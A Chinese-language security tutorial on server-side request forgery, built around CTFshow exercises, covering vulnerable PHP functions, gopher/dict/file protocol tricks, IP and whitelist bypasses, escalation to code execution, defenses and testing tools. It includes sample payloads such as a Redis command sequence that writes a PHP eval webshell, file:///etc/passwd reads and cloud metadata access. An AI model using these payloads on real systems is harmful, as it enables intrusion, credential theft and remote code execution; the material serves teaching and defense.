SSRF漏洞深度解析:从原理到实战利用与防御
1. 从一次“内网探测”引发的思考SSRF漏洞的本质几年前我在一次内部安全演练中遇到了一个非常典型的场景。一个看似无害的“头像上传”功能允许用户通过URL地址设置头像。开发者的初衷是好的希望用户能方便地引用其他网站的头像省去下载再上传的麻烦。然而就是这个功能让我在几分钟内从外网直接访问到了部署在内网测试环境的数据库管理后台。这个漏洞就是今天我们要深入拆解的SSRF。SSRF全称 Server-Side Request Forgery中文叫服务端请求伪造。这个名字听起来有点唬人但它的核心逻辑异常简单攻击者能够诱使服务器后端应用代替自己向一个指定的、通常是服务器自身或内网中的地址发起HTTP请求。你可以把它想象成你控制了公司的前台电话服务器然后你让前台帮你拨打一个内部的分机号内网服务并把通话内容响应转述给你。前台服务器拥有访问内网的权限而作为外部访客的你攻击者原本是没有的。为什么SSRF在CTF和实战中如此重要且危险原因有三点。第一权限绕过它利用了服务器通常拥有更高网络权限如访问内网、本地环回地址127.0.0.1的特性实现了攻击者自身无法直接做到的访问。第二攻击面广一旦成功它能攻击的目标不仅仅是Web应用本身而是服务器能访问到的整个网络平面包括数据库、缓存服务、管理接口、甚至云元数据服务。第三危害升级SSRF常常是通往更大漏洞的跳板。通过它我们可以探测内网结构、攻击未授权访问的内网应用或者与服务器本地的其他服务如Redis、Memcached进行交互进而可能实现远程代码执行。在CTFshow的Web入门系列中SSRF题目设计得非常精妙几乎涵盖了从基础到进阶的所有考点。它们不仅仅是让你“打出一个flag”更是引导你理解漏洞的成因、利用的链条以及防御的思路。接下来我们就以CTFshow的题目为线索一层层剥开SSRF的外壳。2. 漏洞的源头那些“信任”用户输入的函数SSRF漏洞的产生几乎无一例外都源于应用程序过度信任了用户可控的输入并将其直接用于发起网络请求。在PHP、Python、Java等主流Web开发语言中都有一些常见的“高危函数”。2.1 PHP中的典型危险函数在CTFshow的PHP题目里以下几个函数是常客file_get_contents(): 这个函数本意是读取文件内容但它也支持http://、ftp://等URL协议。如果开发者直接将$_GET[‘url’]这样的参数传递给它SSRF就产生了。// 漏洞代码示例 $url $_GET[file]; $content file_get_contents($url); echo $content;攻击者可以传入filehttp://127.0.0.1:8080/admin服务器就会去读取本机8080端口的管理页面。curl_exec(): cURL库功能强大支持众多协议和复杂配置。也正是因为其强大如果URL或配置项由用户完全控制风险极高。$ch curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET[url]); // 危险 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output curl_exec($ch); curl_close($ch);fsockopen()/fopen(): 这些更底层的函数也能用于发起网络连接同样存在风险。2.2 漏洞产生的核心场景理解了危险函数我们再来看看它们通常出现在哪些业务功能里这能帮助我们在代码审计或黑盒测试时快速定位远程资源加载就像开头的例子头像、图片、文档的远程URL上传或预览功能。数据采集/爬虫一些网站提供“网页快照”、“URL转码”或“获取网页信息”的服务后端需要去抓取用户提供的URL。Webhook或回调通知应用需要根据用户配置的URL发起回调请求。文件导入/导出支持从互联网URL导入数据到应用内。内网服务集成某些功能可能需要请求同一个服务器上的其他内部API比如生成PDF的服务如果这个内部API地址是前端传递或可被篡改的就存在问题。注意并非所有使用这些函数的地方都有SSRF。关键在于传入函数的参数主要是URL是否完全或部分由用户控制且服务端没有对其进行严格的校验和过滤。一个固定的、写死在代码里的内网API调用通常不是SSRF。3. 利用技巧进阶协议、绕过与信息探测直接请求http://127.0.0.1/flag.php就能拿分的时代已经过去了。现代的CTF和实战中处处是过滤和限制。下面我们梳理一下常见的利用技巧这些技巧在ctfshow的题目中会反复出现。3.1 利用各种URL协议URL不只是http和https。许多编程语言的网络库支持多种协议这为SSRF利用提供了更多可能性file://: 用于读取服务器本地文件。例如file:///etc/passwd可以读取系统用户列表。这是最基本的本地文件读取LFI利用。dict://: 字典协议可以向服务如Redis发送简单的命令。虽然功能有限但在探测端口和简单交互时有用。例如dict://127.0.0.1:6379/info可能泄露Redis信息。gopher://:这是一个“神器”。Gopher协议非常原始但它允许我们构造几乎任意的TCP数据包。通过Gopher我们可以与Redis、MySQL、FastCGI等许多文本协议的服务进行交互从而可能实现更深入的攻击比如向Redis写入Webshell。构造Gopher数据包需要一定的技巧通常会借助脚本生成。ftp://: FTP协议有时可用于进行端口扫描根据连接成功或失败的时间差异判断端口状态。3.2 绕过常见的过滤与限制题目不会让你轻易成功常见的防御或过滤手段包括黑名单过滤禁止127.0.0.1、localhost、192.168.、10.、172.16.等内网IP或域名。绕过方法IP地址进制转换127.0.0.1可以转为十进制2130706433或者八进制0177.0.0.1或者十六进制0x7f.0.0.1取决于解析库。http://2130706433等价于http://127.0.0.1。域名指向localhost可以用127.0.0.1.nip.io一个解析任意前缀到IP的公共服务或localtest.me指向127.0.0.1来绕过。IPv6地址使用[::1]代表本地IPv6地址。URL编码对点号、斜杠等进行二次编码如127%2E0%2E0%2E1。利用重定向如果服务器会跟随302跳转可以先请求一个自己控制的、会返回302跳转到内网地址的页面。白名单过滤只允许访问特定域名如*.ctfshow.com。绕过方法利用符号URL格式中之前是认证信息。http://expected.commalicious.com有些旧的解析库会连接到malicious.com但校验域名时可能只看前面的expected.com。不过现代库大多修正了此问题。利用子域名解析漏洞如果白名单是*.ctfshow.com可以尝试注册hack.ctfshow.com这通常不现实。但可以尝试ctfshow.com.hacker.com如果校验正则不严谨如.*ctfshow.com$可能会被放过。结合重定向同上让白名单域名下的页面跳转到内网地址。限制请求的端口例如只允许80、443端口。绕过方法利用非HTTP默认端口很多内网Web服务可能跑在8080、8000、3000等端口。利用非Web服务如果后端用的是file_get_contents()它不关心端口只关心协议。可以尝试用file://协议读取文件这不需要端口。3.3 内网信息探测与端口扫描SSRF的一个前置利用就是信息收集。我们如何通过一个SSRF点摸清服务器所在内网的情况识别存活主机通过遍历内网IP段如192.168.0.0/24和常见端口根据HTTP响应状态码、响应时间或错误信息差异来判断主机和端口是否开放。这通常需要编写脚本自动化进行。识别服务指纹对于开放的端口尝试发送一些特定协议的探测包如HTTP的GET / Redis的INFO命令根据返回的Banner信息判断服务类型Apache、Nginx、Redis、MySQL等。利用回显与报错如果目标SSRF有回显即服务器将请求的结果返回给页面那么探测结果一目了然。如果是盲SSRF没有回显则需要利用时间延迟或DNS外带技术。时间延迟构造请求到一个不存在的IP或端口连接会超时耗时久请求到一个开放端口但无响应的服务可能快速返回连接拒绝。通过响应时间的显著差异来判断端口状态。这要求你对网络超时时间有较好的把握。DNS外带这是盲SSRF探测的利器。如果目标服务器在请求你提供的URL时会进行DNS解析那么你可以使用一个你拥有日志记录的域名。例如构造URL为http://192-168-1-1.your-domain.com。服务器在请求时会先解析192-168-1-1.your-domain.com这个域名你可以在你的DNS服务器日志中看到这次解析记录从而证明服务器尝试访问了192.168.1.1这个IP。Burp Suite的Collaborator功能就是为此而生。4. 从SSRF到RCE攻击链的构建单纯的SSRF能读取文件、探测内网危害已经不小。但攻击者的终极目标往往是远程代码执行。如何通过SSRF实现RCE这需要将SSRF与其他漏洞或服务特性结合。4.1 攻击Redis未授权访问这是CTF中最经典的组合技。假设通过SSRF探测到内网172.18.0.2:6379运行着Redis并且没有设置密码默认配置。交互原理Redis使用简单的文本协议每条命令以\r\n结尾。我们可以通过SSRF直接向Redis发送符合其协议格式的TCP数据包。利用Gopher协议攻击Gopher协议可以承载我们精心构造的原始TCP数据。我们可以构造一个Gopher URL其内容是一系列Redis命令。写入Webshell假设我们知道Web目录的绝对路径如/var/www/html可以通过以下命令序列将一句话PHP木马写入一个文件flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save将上述命令按照Redis协议格式每行以\r\n结尾整体需要计算长度进行编码放入Gopher URL中。服务器通过SSRF请求这个Gopher URL就等于向Redis发送了这些命令从而在Web目录下生成shell.php。利用CRLF注入攻击如果SSRF点不支持Gopher协议但支持HTTP且对输入过滤不严可以尝试CRLF注入。在HTTP请求中插入\r\n可以在一个HTTP请求中“注入”额外的协议数据。例如将Redis命令注入到HTTP请求头或体中如果后端服务器与Redis在同一主机且存在某种奇怪的解析可能导致命令执行。但这比Gopher直接攻击要困难得多。实操心得在实战或CTF中用Gopher攻击Redis时经常会因为空格、引号等字符被URL编码处理而导致命令失效。我的经验是先在本地用Python脚本模拟Redis服务打印出收到的原始字节确保你构造的协议数据完全正确。也可以使用redis-cli --pipe进行命令测试。4.2 攻击FastCGI/PHP-FPM如果通过SSRF发现内网开放了9000端口PHP-FPM默认端口并且服务器上运行着PHP那么可能存在FastCGI RCE漏洞。原理PHP-FPM通过FastCGI协议与Web服务器通信。我们可以伪造一个FastCGI请求通过设置PHP_VALUE和PHP_ADMIN_VALUE环境变量来修改PHP的配置例如开启auto_prepend_file让其自动包含一个我们可控的文件可能是之前通过其他漏洞上传的或者直接写入日志文件再包含。利用方式同样我们可以使用Gopher协议来构造一个原始的FastCGI协议数据包发送给127.0.0.1:9000。这需要你对FastCGI协议格式有一定了解。网上有成熟的利用脚本如gopherus工具可以生成对应的攻击Payload。4.3 攻击云元数据服务在云服务器AWS, Azure, GCP, 阿里云等环境中存在一个特殊的内部端点元数据服务。例如AWS的元数据地址是http://169.254.169.254。这个服务提供了关于当前云主机的信息包括可能最敏感的临时访问凭证。如果存在SSRF漏洞攻击者就可以让服务器去请求这个元数据地址从而窃取到云服务器的访问密钥。利用这些密钥攻击者可以在云平台上进行横向移动、创建资源、窃取数据等造成极其严重的后果。在CTFshow的一些题目中可能会模拟这种场景将flag放在元数据服务中。4.4 结合其他文件包含漏洞如果SSRF只能读取文件如通过file://协议而同时应用中存在本地文件包含漏洞那么就可以形成一个攻击链先用SSRF将恶意代码写入服务器本地的一个临时文件或者利用已有的日志文件再利用LFI漏洞去包含这个文件最终达到代码执行的目的。5. CTFshow SSRF题目实战精讲与踩坑记录理论讲得再多不如动手解一道题。我们以ctfshow web入门中一道经典的SSRF题目为例来串联上面的知识点。请注意这里不会给出具体flag而是聚焦于解题思路和可能遇到的坑。5.1 题目场景还原假设题目提供一个功能输入一个图片URL后端会抓取这个图片并显示。代码逻辑简化如下?php highlight_file(__FILE__); $url $_GET[url]; if(preg_match(/^http:\/\/ctfshow\.com\//, $url)){ $content file_get_contents($url); echo img srcdata:image/png;base64,.base64_encode($content)./; }else{ echo url must start with http://ctfshow.com/; } ?目标读取服务器本地的/flag文件。5.2 解题思路拆解分析限制白名单过滤只允许http://ctfshow.com/开头的URL。直接file:///flag或http://127.0.0.1会被拒绝。寻找绕过方法白名单校验通常检查URL的开头部分。我们可以尝试利用符号或者重定向。尝试重定向绕过我们需要一个可控的、位于http://ctfshow.com/域名下的页面这个页面会返回一个302状态码Location头指向我们真正想访问的内网地址比如http://127.0.0.1/flag。但题目通常不会给你一个ctfshow.com的二级域名。这时需要思考题目环境本身是否就在ctfshow.com域下或者是否存在一个可控的重定向参数例如题目可能有一个image.php文件接受url参数并跳转image.php?urlhttp://127.0.0.1/flag。那么我们的Payload可以是http://ctfshow.com/image.php?urlfile:///flag。这样白名单校验通过服务器会去请求ctfshow.com下的这个页面该页面执行重定向到file:///flagfile_get_contents()在跟随重定向时就会去读取本地文件。利用DNS重绑定更高级的绕过如果上述方法不行可以考虑DNS重绑定攻击。我们需要控制一个域名比如hack.com将其A记录先指向ctfshow.com的IP通过白名单校验然后在极短时间内TTL很短将其A记录改为127.0.0.1。服务器在第一次DNS解析时得到的是合法IP通过校验并发起请求但在实际建立TCP连接时由于DNS缓存时间极短或实现问题可能会重新解析域名得到127.0.0.1从而访问到内网。这在CTF中实现较难但属于一种经典的绕过思路。尝试其他协议题目校验的是http://开头但后面部分我们可控。能否在路径中嵌入其他协议呢例如http://ctfshow.com/file:///flag这通常不行因为file://会被当作路径的一部分而不是协议。但可以尝试利用#号片段标识符或?号查询参数来干扰解析成功率取决于后端URL解析库的实现。5.3 实战踩坑点file_get_contents()与302跳转默认情况下file_get_contents()会跟随重定向。但它的context参数可以设置follow_location为0来禁用。如果题目禁用了跳转重定向绕过法就会失效。URL解析差异PHP的parse_url()函数和curl库、浏览器对URL的解析可能存在细微差异。例如对于http://expected.commalicious.comparse_url()解析出的host可能是malicious.com但一些简单的字符串匹配如strpos($url, ‘ctfshow.com’) ! false可能会被前面的内容欺骗。需要仔细分析过滤代码的逻辑。IPv6与特殊地址[::1]、0.0.0.0、127.0.0.1.nip.io这些都是需要尝试的绕过点。端口与协议如果目标不是Web服务而是Redis6379即使你能访问127.0.0.1用http协议也是不行的。这时就要考虑如何利用支持的协议如dictgopher去与这些服务交互。6. 防御之道从开发层面根除SSRF理解了攻击才能更好地防御。作为开发者应该如何避免引入SSRF漏洞原则对用户输入做“白名单”校验而非“黑名单”最佳实践如果业务确实需要从指定外部资源获取数据那么应该维护一个允许的域名或IP白名单。只有完全匹配白名单的请求才被放行。避免做法试图过滤掉127.、192.168.、localhost等关键词。绕过方法太多防不胜防。统一网络请求出口并实施过滤在架构上将所有需要出站的HTTP请求收敛到一个统一的网络中间件或服务中。在这个统一出口实施严格的安全策略协议限制只允许HTTP/HTTPS、目标限制禁止访问内网IP段、回环地址、DNS解析限制禁止解析到内网IP等。禁用不需要的URL协议在应用程序或库的层面明确禁用危险的协议如file://、gopher://、dict://、ftp://等。例如在PHP的cURL中可以使用CURLOPT_PROTOCOLS来限制允许的协议。谨慎处理URL重定向如果业务需要跟随重定向必须对重定向的目标地址再次进行白名单校验防止通过重定向跳转到内网。为内网服务设置认证即使存在SSRF如果Redis、MySQL、管理后台等服务设置了强密码认证攻击者也无法轻易利用。这是纵深防御的重要一环。使用云服务商的安全组/防火墙在云环境中严格配置安全组规则禁止Web服务器主动访问不必要的内网端口如Redis的6379 Memcached的11211等。从网络层面进行隔离。对返回内容进行安全检查如果请求外部资源并返回给用户应对返回的内容进行安全检查如图片是否真的是图片防止SVG图片携带恶意脚本避免造成二次漏洞。7. 工具与资源让测试事半功倍工欲善其事必先利其器。在审计和测试SSRF时以下工具能极大提升效率Burp Suite Professional CollaboratorCollaborator是盲SSRF测试的神器。它为你生成一个临时域名所有指向该域名的DNS查询和HTTP/HTTPS请求都会被Burp记录并通知你。在测试任何可能触发后端请求的功能时如Webhook、URL预览把Collaborator域名放进去然后观察是否有交互产生这是证明SSRF存在最直接的方法。Intruder用于自动化进行内网端口扫描或IP段爆破。可以配合时间差或DNS外带进行盲注。SSRFmap / GopherusSSRFmap一个自动化的SSRF测试框架内置了很多Payload和绕过技巧可以自动探测内网服务并尝试利用。Gopherus专门用于生成攻击各种服务Redis, MySQL, FastCGI等的Gopher协议Payload的工具非常方便。DNSLog平台类似Burp Collaborator的免费替代品如dnslog.cn、ceye.io提供临时域名用于接收DNS查询记录验证盲SSRF。编程脚本很多时候需要自己写Python脚本来构造特殊的Payload、进行自动化探测或处理复杂的协议交互。掌握requests、socket库的基本使用非常必要。我个人在测试时的流程通常是先用手工尝试几个基本Payload如http://127.0.0.1file:///etc/passwd然后用Burp Collaborator探测盲SSRF如果发现存在且有一定自由度再上SSRFmap进行自动化内网探测最后针对发现的服务如Redis用Gopherus生成Payload进行深入利用。SSRF是一个看似简单却内涵丰富的漏洞它考验的不仅是漏洞利用的技巧更是对网络协议、应用架构和防御思路的深入理解。通过CTFshow的题目进行练习是一个非常好的入门和进阶途径。记住关键不在于记住每一个Payload而在于掌握“信任边界突破”这一核心思想以及“输入不可信输出需过滤”的安全开发基本原则。在实战中保持好奇心多问一句“这个URL参数服务器到底会怎么处理”也许就能发现一个潜在的SSRF漏洞。